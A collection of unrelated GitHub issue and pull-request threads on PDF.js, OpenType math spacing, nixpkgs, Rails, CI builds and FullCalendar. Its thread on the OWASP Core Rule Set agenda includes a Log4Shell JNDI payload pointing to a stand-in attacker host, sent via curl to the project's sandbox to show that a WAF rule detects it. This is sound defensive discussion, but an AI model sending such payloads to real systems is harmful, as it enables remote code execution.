Fixed in https://github.com/freeCodeCamp/freeCodeCamp/pull/34800


Is it possible to insert extra pages in pdf _pages array?

This is not an issue but requirement.
I need to insert extra pages in pdf viewer. There is an array of pdf pages (viewer._pages). Is it possible to push data to this array or is there any method available to create and add new pages to the viewer?

I guess you could work something out, but it's not in scope of the PDF.js project to render data other than data that is available in the PDF file.


[MATH] Clarify spaceAfterScript in relation to pre-scripts

The description for spaceAfterScript has:

Extra white space to be added after each subscript and superscript.

But there is no mention of how this is applied to prescripts, and implementations seem to be interpreting it differently: https://github.com/w3c/mathml-core/issues/217
Testing shows that Microsoft Word inserts the space before prescripts, which makes sense, so the spec should mention this.

(Testing in Microsoft Word with large spaceAfterScript value)

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: f0076fd2-52b0-2989-3142-fd9e456b9514
Version Independent ID: 4aef8fa3-2ad3-7933-5a77-0a7473e66112
Content: MATH - The mathematical typesetting table (OpenType 1.9) - Typography
Content Source: typographydocs/opentype/spec/math.md
Service: typography
GitHub Login: @PeterCon
Microsoft Alias: alib

Thanks for pointing this out. I got confirmation of the behaviour from Office.

Draft change for OT 1.9.1:

Extra white space to be added after each subscript and superscript that occurs after a baseline element, and before each subscript and superscript that occurs before a baseline element. Suggested: 0.5 pt for a 12 pt font. (Note that, in some math layout implementations, a constant value, such as 0.5 pt, may be used for all text sizes. Some implementations may use a constant ratio of text size, such as 1/24 of em.)

See the OT 1.9.1 alpha for draft revisions addressing this issue.

Looks good, thanks!

This is fixed in OT 1.9.1. See the OT 1.9.1 beta for draft revisions addressing this issue. Closing.


Code to generate random locations from a sersic profile

Hi @linan7788626,
Here is some python code to realize random locations from a Sersic profile:
rng is just a random number generator from numpy
https://docs.scipy.org/doc/numpy/reference/generated/numpy.random.RandomState.html
    def random_location(self, rng):
        """Sample a random (x, y) location from the surface brightness
        profile of the galaxy."""

        bn = gammaincinv(2. * self['n'], 0.5)
        z = rng.random_sample()
        x = gammaincinv(2. * self['n'], z)
        R = (x / bn)**self['n'] * self['r_eff']
        theta = np.random.random() * 2 * np.pi
        xp, yp = R * np.cos(theta), R * np.sin(theta)
        xt = xp * np.sqrt(1 - self['ellip'])
        yt = yp / np.sqrt(1 - self['ellip'])
        x, y = np.linalg.solve([[np.cos(self['theta']), np.sin(self['theta'])],
                                [-np.sin(self['theta']), np.cos(self['theta'])]],
                               [xt, yt])
        return x + self['x'], y + self['y']

self['n'] = sersic profile n
self['ellip'] = sersic profile ellipticity
self['theta'] = sersic profile position angle
self['r_eff'] = sersic profile half light radius (arcsec)
self['x'], self['y'] = host centroid position in absence of lensing

@dannygoldstein Got it, thanks. I will try to embed this function into the simulation asap.


synapse: init at <IP_ADDRESS>

Why do you use those two keybinder derivations?

Haven't seen that. I will fix it

retest this please

retest this please

When you're don with clean-ups, please squash all commits into one ("synapse: init at ..."):
git pull
git rebase -i origin/master (and do the squashing)
git push --force

Built locally. Thanks and welcome!


Update rails to 7.0.4

Update to Rails 7.0.4 Issue #682
Pull request checklist

[ ] My code contains tests covering the code I modified
[x] I linted and tested the project with bin/check
[x] I added significant changes and product updates to the changelog
[x] Upgrade the codebase to Rails 7.0.4
[x] Review the changelog and ensure nothing breaks

@joemasilotti Please review this PR.
Regarding your second checklist mentioned on the issue, I think there are no breaking changes in 7.0.4. Do you feel  Changelog has any breaking changes

Excellent! Nothing jumped out to me so I think we are good to merge.
Can you please update the date to August 11 (from August 10) in the CHANGELOG?

@joemasilotti Done with changelog changes. Please review it again.

Looks great, thanks for your contribution!


Adding functionality to not post commit status for children jobs

This pull request contains the solution for  https://github.com/jenkinsci/ghprb-plugin/issues/301.
It adds the ability to allow the user to not post commit statuses for the child job of a parent matrix job. If the checkbox is for this function is not pressed, it will follow its default behaviour.
I've added a checkbox in the config.jelly file that saves the value in "showMatrixStatus". The GhprbSimpleStatus class will read the value of the field. If the value is false it will create a commit status and proceed as normal (!showMatrixStatus). If the value is true, then will check if the project is a matrix project. Since the children jobs are not Matrix projects, we can avoid posting commit statuses for them by checking both the value of the box and if it is an instance of a matrix  project (showMatrixStatus && build.getProject() instanceof MatrixProject)

Thank you for this pull request! Please check this document for how the Jenkins project handles pull requests.

Hey @amritp55  and @DavidTanner, this is a neat change and I would need this for my project. Do you guys have an ETA of when this PR would be merged?


Fix taxbreakdown casting

Arguably this is an API change, however as it stands I think Taxbreakdown casting is a bit broken.
The current problem is when we save the data to the database, it doesn't have the same structure as the TaxBreakdown value object which it's meant to represent.
The other problem is when populating the tax_breakdown column we just map what we think the casting object is expecting and it will JSON encode it after some mapping. I think this is fairly inconsistent and not obvious to developers what they should be doing, should they want to populate a tax_breakdown column manually. This PR would enable a developer to simply pass a Taxbreakdown value object to any database column which uses the Taxbreakdown casting.
Furthermore this PR looks to make the Taxbreakdown casting actually cast back in the value object it represents so it's consistent.

This is great, we've tripped over this a few times so thank you.

@alecritson I think we need to target main for this.

Closing to move to main


[CARBONDATA-3859] Lock and retry to read tablestatus before throwing …

Why is this PR needed?
when storing table status file in object store, reading of table status file mayfail (receive EOFException or JsonSyntaxException)
when table status file is being modifying
we shall retry multiple times and add the lock before throwing EOFException or JsonSyntaxException
What changes were proposed in this PR?
Add lock and retry mechanism to read tablestatus
Does this PR introduce any user interface change?

No

Is any new testcase added?

No

Build Failed  with Spark 2.4.5, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbon_PR_Builder_2.4.5/1452/

Build Failed  with Spark 2.3.4, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/3177/

retest this please

Build Failed  with Spark 2.4.5, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbon_PR_Builder_2.4.5/1454/

Build Failed  with Spark 2.3.4, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/3179/

Build Success with Spark 2.3.4, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/3181/

Build Success with Spark 2.4.5, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbon_PR_Builder_2.4.5/1455/

Build Failed  with Spark 2.3.4, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/3182/

Build Failed  with Spark 2.4.5, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbon_PR_Builder_2.4.5/1456/

Build Success with Spark 2.3.4, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbonPRBuilder2.3/3185/

Build Success with Spark 2.4.5, Please check CI http://<IP_ADDRESS>:12545/job/ApacheCarbon_PR_Builder_2.4.5/1459/

LGTM


CHAOS-2010: improves wording on landing page

Please check the Execution Link of the Pipeline for the Website Draft URL. This is located in the Preview Step and also is available in #hdh_alerts. E.g Website Draft URL: https://unique-id--harness-developer.netlify.app


Issue at mlnet classification ... step

System Information (please complete the following information):

Model Builder or CLI Version:  .NET Core 3.1 SDK (Ubuntu 16.04 LTS) mlnet 16.2.0
Visual Studio Version (if applicable):

Describe the bug

On which page of the tutorial did you run into an issue (URL): https://dotnet.microsoft.com/learn/ml-dotnet/get-started-tutorial/train
Clear description of the problem: I have done previous steps without any issues. Then I have copied the command :
dav@HAL:~/myMLApp$ mlnet classification --dataset "yelp_labelled.txt" --has-header false --label-col 1 --train-time 20
2021/05/28 14:27:19 [cO] Starting MLDonkey 3.1.5 ...
2021/05/28 14:27:19 [cO] Language EN, locale UTF-8, ulimit for open files 1024
2021/05/28 14:27:19 [cO] raised ulimit for open files from 1024 to 1048576
2021/05/28 14:27:19 [cO] MLDonkey is working in /home/dav/.mldonkey
2021/05/28 14:27:19 [Gettext] Loading language resource mlnet_strings.en_US.UTF-8
2021/05/28 14:27:19 [cO] loaded language resource file
2021/05/28 14:27:19 [DNS] Resolving [HAL] ...
2021/05/28 14:27:19 [DNS] Resolving [www.mldonkey.org] ...

Attention!
This core is running with glibc 2.23 but it was compiled with glibc 2.21.
This can lead to unexpected behaviour. Consider compiling the core yourself
or getting a binary compiled with glibc 2.21.
2021/05/28 14:27:19 [cO] Logging in /home/dav/.mldonkey/mlnet.log
mlnet: unknown option '--dataset'.
.... lot of lines then to explain the different arguments or options
I need to understand what to do ? re-compile with proper compiler (I don't know how to do!) or anything else ?
(I have tried to install the mlnet 16.1.1 as shown in the screen of previous steps, but I got exactly same issue)
Cheers,
David.

Can we have the complete log? It looks like the mlnet is installed and works except that it failed to parse options. So you might not need re-compile the core.

Hello, I gave up to make it on Linux.
I have switched to Windows 10 Version.
Goddbye

Sorry you ran into this problem on Linux. If you go back to it, please reopen the issue with the log file.
Let us know if you run into any more problems! Thanks for reporting.


creating-superadmins-and-resellers.md

To close  #1034 in staart/api.
Needs review by @AnandChowdhary

Thanks, @mattp95!


Add registry.default example

What does this PR try to resolve?
Add registry.default example. I found we missing this example when I read the docs.

Thanks!
@bors r+

:pushpin: Commit 3f3eaa0f08ad4e68eae08f77c58f1588a67e73f6 has been approved by ehuss
It is now in the queue for this repository.

:hourglass: Testing commit 3f3eaa0f08ad4e68eae08f77c58f1588a67e73f6 with merge 09c5b26c7602068d35bae45b96159638e4b43db0...

:sunny: Test successful - checks-actions
Approved by: ehuss
Pushing 09c5b26c7602068d35bae45b96159638e4b43db0 to master...


Notifications issue

When sender send message, receiver doesn't receive the notification. Kindly help me

Yeah, someone previously also mentioned this issue to me via mail, will check it out as soon as I get some time on my hands.

Kindly do it as quick as possible, I have to use this in my project. Will be very thankful to u. Waiting!

Kindly tell me will you solve this issue?

Hi @nowantednameisavailabel , I just checked the project. Notifications are working for me. Make sure to put valid server API key in FcmNotificationBuilder class.
You can find your API key here:

Thanks a lot, its working now.
On Thu, Feb 23, 2017 at 1:02 PM, Kartik Sharma<EMAIL_ADDRESS>wrote:

Hi @nowantednameisavailabel https://github.com/nowantednameisavailabel
, I just checked the project. Notifications are working for me. Make sure
to put valid server API key in FcmNotificationBuilder
https://github.com/crazyhitty/firebase-chat/blob/master/app/src/main/java/com/crazyhitty/chdev/ks/firebasechat/fcm/FcmNotificationBuilder.java#L27
class.
You can find your API key here:
https://camo.githubusercontent.com/356c79a8b906eea156f0f89aa19b4029ac29851d/687474703a2f2f692e696d6775722e636f6d2f33586a6e4933742e706e67
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/crazyhitty/firebase-chat/issues/1#issuecomment-281922050,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AWTBilfKBYgkWK6LU9QFG81BVoV_1_l5ks5rfT0EgaJpZM4MG8DJ
.


ante: unstable-08-22 -> unstable-10-06

Description of changes
New compiler features:

String interpolation
Command line syntax completion
Various bug fixes

Things done

Updated the source commit.
Configured shell completion install script.
Set the llvmPackages override to llvmPackages_13 with callPackagerather than explicitly listing llvmPackages_13 in package derivation arguments, in case that dependency changes down the line.

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Probably not worth updating the package manually like this before it gets a proper release, especially since the upstream repository provides a flake as well.


Add PoC link

Update PoC spreadsheet from review.
Generate PDF of spreadsheet and add to Security Model GH.
Add link from ch 1 security model, to PDF of spreadsheet in Security Model GH.

Add link to slide #6 of Security Model presentation:
https://docs.google.com/presentation/d/1aZohkI9flqZLNm9AxK_scOV52EJ6tvDmaowDw7s_sQs/


Monthly Chat Agenda January 2022 (2022-01-03 and 2022-01-17)

This is the Agenda for the Monthly CRS Chat.
The general chat is going to happen on https://owasp.slack.com in the channel #coreruleset on Monday, 2022-01-03, at 20:30 CET. That's the 1st Monday of the month. A separate issue chat is happening at the same location, same time on Monday, 2022-01-03. That's the 3rd Monday of the month. Please note that we have a CRS calendar (maintained by @fzipi).
Items on the Agenda:  (see previous meetings decisions: here)
What happend in the meantime since the chat last month
Outside development

Introduction of the CRS Sandbox
Coverage of CRS Sandbox in the "Daily Swig"
Blog post about script wafparan01d3 that is an alternative to the CRS send-payload-pls.py script
CRS Log4j / Log4Shell / CVE-2021-44228 coverage
CRS Hunt for Log4j rule bypasses
Swiss Newspaper NZZ covering CRS and project co-lead Christian Folini (link to English version of article)
Gloo by Solo is an API Gateway with CRS support

PRs that have been merged since the last meeting

#2214
#2340
#2338
#2335
#2327
#2201
#2325
#2328
#2279
#2193
#2324
#2311
#2306
#2248

We merged 14 PRs since the last monthly project chat.
Open PRs

#2345
#2343
#2333
#2323
#2322
#2299
#2288
#2259
#2222

Open PRs marked DRAFT or work in progress or needs action

#2303
#2302
#2301
#2300
#2290
#2236
#2217
#2070
#2067
#1993
#1975

Dev retreat topics

Demo / Sandbox site: We released the Sandbox and followed suit with a public contest to find bypasses for a separate CRS log4j instance with new custom rules. Positive feedback all around, but Sandbox not known enough so far. Documentation is also lacking.
Documentation: FIXME
Technical Blog Posts: FIXME
Status page: FIXME
Coraza: Coraza passes the CRS test suite 100%, Coraza 2.0 has been released.

Other items

Cleanup of anomaly scoring variables #2319

Open Issues - Separate Issues Meeting (Monday, 2022-01-17)
Status of issues covered last month
We covered 8 issues in the last meeting. This is their state:

Issue slot 1: #2319 (probably this covers also #1896)
Issue slot 2: #2312 - we are getting closer to release date, this should be ready to go.
Issue slot 3: #2163
Issue slot 4: #2230
Issue slot 5: #2227 + #2228
Issue slot 6: #2332
Issue slot 7: #2331 - what to do with the log4j rule and the existing 932130?
Issue slot 8: #2318 - volunteer to write a new sqli rule needed
Issue slot 9: #FIXME
Issue slot 10: #FIXME

Stats

Covered in chat: FIXME
Closed: FIXME
Pending: FIXME

This month's issues
There are FIXME open issues at the beginning of the issue chat.
We generally cover 10 issues per month in a separate issue meeting. Add them as you see fit.

Issue slot 1: #FIXME
Issue slot 2: #FIXME
Issue slot 3: #FIXME
Issue slot 4: #FIXME
Issue slot 5: #FIXME
Issue slot 6: #FIXME
Issue slot 7: #FIXME
Issue slot 8: #FIXME
Issue slot 9: #FIXME
Issue slot 10: #FIXME

How to get to our slack and join the meeting?
If you are not yet on the OWASP Slack, here is your invite: https://owasp.org/slack/invite .
Everybody is welcome to join our community chat.

hi, all,
Can corerule set  defend log4j  ?
thanks in advance.
huiming

Ah, the new CVE?
What's the attack payload again?

https://www.techtimes.com/articles/269208/20211210/minecraft-vulnerability-spotted-how-to-fix-log4j-bug.htm
------------------ 原始邮件 ------------------
发件人:                                                                                "coreruleset/coreruleset"                                                                                @.>;
发送时间: 2021年12月10日(星期五) 晚上6:02
@.>;
<EMAIL_ADDRESS>主题: Re: [coreruleset/coreruleset] Monthly Chat Agenda January 2022 (2022-02-03 and 2022-01-17) (Issue #2330)
Ah, the new CVE?
What's the attack payload again?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

https://www.cve.org/CVERecord?id=CVE-2021-44228
------------------ 原始邮件 ------------------
发件人:                                                                                "coreruleset/coreruleset"                                                                                @.>;
发送时间: 2021年12月10日(星期五) 晚上6:02
@.>;
<EMAIL_ADDRESS>主题: Re: [coreruleset/coreruleset] Monthly Chat Agenda January 2022 (2022-02-03 and 2022-01-17) (Issue #2330)
Ah, the new CVE?
What's the attack payload again?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps

This seems to be an exploit code: ${jndi:ldap://attacker.com/a}
CRS can detect this.
$ curl -H "x-format-output: txt-matched-rules" -H "x-crs-version: 3.3.2" \
--data 'foo=${jndi:ldap://attacker.com/a}' \
https://sandbox.coreruleset.org/
932130 PL1 Remote Command Execution: Unix Shell Expression Found
949110 PL1 Inbound Anomaly Score Exceeded (Total Score: 5)

Yep, this is more or less a coincidence though. We could add a separate Java rule that looks for jndi: maybe? Shall we open a new issue for this?

Coincidence or one more reason for our generic approach.
Are there evasion options available? Like whitespace before the colon? If yes, it's going to be trickier to avoid FPs.
Other than that I do not mind more Java injection rules. And given JNDI is such a powerful API, I'm sure this is not the last weakness to surface.

For concise info you can read source code of log4j i think
------------------ 原始邮件 ------------------
发件人:                                                                                "coreruleset/coreruleset"                                                                                @.>;
发送时间: 2021年12月10日(星期五) 晚上6:32
@.>;
<EMAIL_ADDRESS>主题: Re: [coreruleset/coreruleset] Monthly Chat Agenda January 2022 (2022-02-03 and 2022-01-17) (Issue #2330)
Coincidence or one more reason for our generic approach.
Are there evasion options available? Like whitespace before the colon? If yes, it's going to be trickier to avoid FPs.
Other than that I do not mind more Java injection rules. And given JNDI is such a powerful API, I'm sure this is not the last weakness to surface.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

@here Can we rename this ticket to something meaningful? I don't think this is the agenda for January anymore.

Let's wait for the issue creation and then maybe delete this thread below the agenda.

Will do that :)

Decisions
PRs

#2345
#2343
#2333
#2323
#2322
#2299
#2288
#2259
#2222

Dev retreat topics

Demo / Sandbox site: We released the Sandbox and followed suit with a public contest to find bypasses for a separate CRS log4j instance with new custom rules. Positive feedback all around, but Sandbox not known enough so far. Documentation is also lacking.
Documentation: FIXME
Technical Blog Posts: FIXME
Status page: FIXME
Coraza: Coraza passes the CRS test suite 100%, Coraza 2.0 has been released.

Other items

Start a discussion about how the CRS should represent backslash characters in regular expressions in a portable way.
We currently use two different solutions, but we should probably be consistent and use (and document) one solution: but which solution is the clearest?

Some rules use: \x5c
Some rules use: [\\\\]

We have a strong consensus now for going forward with \x5c
Issues

Issue slot 1:


Investigate SSL key file permission issue on conversion worker docker image

For now, we're working around docker/docker#783 with the hack added in geometalab/osmaxx-postgis-conversion#58.

[ ] investigate cause(s) and alternate solutions of this problem

This is still not fixable today (2016-03-29). Need to wait for upstream fix.


John church guard - update document llm - change agenerate to generate

I changed the agenerate to generate in the async llm documentation.

@amirhoseinsh Hi , could you, please, resolve the merging issues? After that ping me and I push this PR for the review. Thanks!

Closing because the PR wouldn't line up with the current directory structure of the library (would need to be in /libs/langchain/langchain instead of /langchain). Feel free to reopen against the current head if it's still relevant!


Style Loss

Are you not using the Style Loss across different layers as mentioned in Paper?

Hi,
No this hasn't been implemented yet. It's not clear to me how useful this loss is (in terms of being able to generate smooth rotations), so I never attempted it.


CELERY_REDIS_SCHEDULER_URL with password is not working

CELERY_REDIS_SCHEDULER_URL in the format 'redis://:' + passw + "@" + host + ":" + str(port) + "/1"   is not working and resulting in timeouts.  It is valid for celery otherwise.

@liuliqiang Can you please comment and suggest a work around ?

Closing this.. the strictredis documentation say this is supported.


wrong code in fc-time : "12a" ?

hy
I see in the events are some numbers like "12a", "7b" , ... I have the same 12a problem.
the problem is from conversion of time, even if you don't set the time for an event.
thanks

can I please get an answer to this ? :)

I hide this with CSS,
.fc-time{ display: none; }

you could use eventRender right?

@bogdy29 for what I understand, when you create an even if you do not insert and time property this event will be created with a default time (00:00:00 UTC) but your client (browser) will append your timezone for that matter you got "12a"
@joshkurz I was trying to hide it as well:
eventRender: function(event, element) {
    element.find('.fc-event-title').append("
" + event.location);
    element.find('.fc-event-time').hide();
}

source
this not resolved my "rendering" problem

@joshkurz I find out why did not work for me because somewhere in recent updates they changed the classes names .fc-event-title and .fc-event-time does not exist anymore.
So, this is the current code:
eventRender: function(event, element) {
    element.find('.fc-title').append("
" + event.location);
    element.find('.fc-time').hide();
}


Small Bug Fix

Fixed bug in which get_devices of parser.py would throw an exception for missing positional argument in loader.get_device_dict call.

Thanks!